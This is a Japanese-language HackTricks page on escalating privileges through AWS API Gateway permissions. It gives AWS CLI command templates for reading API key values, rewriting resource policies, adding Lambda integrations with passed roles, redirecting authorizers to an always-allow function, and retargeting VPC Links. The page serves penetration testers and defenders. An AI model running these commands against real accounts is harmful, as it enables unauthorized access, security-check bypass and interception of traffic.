AWS - Apigateway Privesc

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

Apigateway

詳細は以下を参照してください:

AWS - API Gateway Enum

apigateway:POST

この権限があれば、(リージョンごとに)設定されている API の API keys を生成できます。

aws --region <region> apigateway create-api-key

潜在的な影響: この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。

apigateway:GET

この権限があれば、設定されたAPIの生成されたAPIキーを取得できます(リージョンごとに)。

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Potential Impact: この手法では privesc はできませんが、機密情報にアクセスできる可能性があります。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

これらの権限があれば、API のリソースポリシーを変更して自分に呼び出し権限を付与し、API gateway が持つ可能性のあるアクセスを悪用することができます(例えば脆弱な lambda を呼び出すなど)。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在的影響: 通常、この手法で直接privescすることはできませんが、機密情報にアクセスできる可能性があります。

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Note

テストが必要

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole の権限を持つ攻撃者は、IAM role が付与された Lambda function を既存の API Gateway REST API に新しい integration として追加することができます。攻撃者はその Lambda function を トリガーして任意のコードを実行させ、IAM role に関連付けられたリソースへアクセスする可能性があります

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在的な影響: Lambda 関数の IAM ロールに関連付けられたリソースへのアクセス。

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Note

要検証

apigateway:UpdateAuthorizer と apigateway:CreateDeployment の権限を持つ攻撃者は、既存の API Gateway authorizer を 変更して セキュリティチェックを回避できる(例: 常に “allow” を返す Lambda に向け直す)、または API リクエスト時に任意のコードを実行させることができる。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: セキュリティチェックの回避、APIリソースへの不正アクセス。

HTTP APIs / apigatewayv2 バリエーション

HTTP APIs (API Gateway v2)の場合、同等の操作はapigatewayv2を介してauthorizerを更新することです:

REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"

aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"

Note

テストが必要

apigateway:UpdateVpcLink の権限を持つ攻撃者は、既存の VPC Link を別の Network Load Balancer を指すように変更し、プライベート API トラフィックを未許可または悪意のあるリソースへリダイレクトする可能性がある

VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

潜在的影響: プライベート API リソースへの不正アクセス、API トラフィックの傍受または妨害。

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする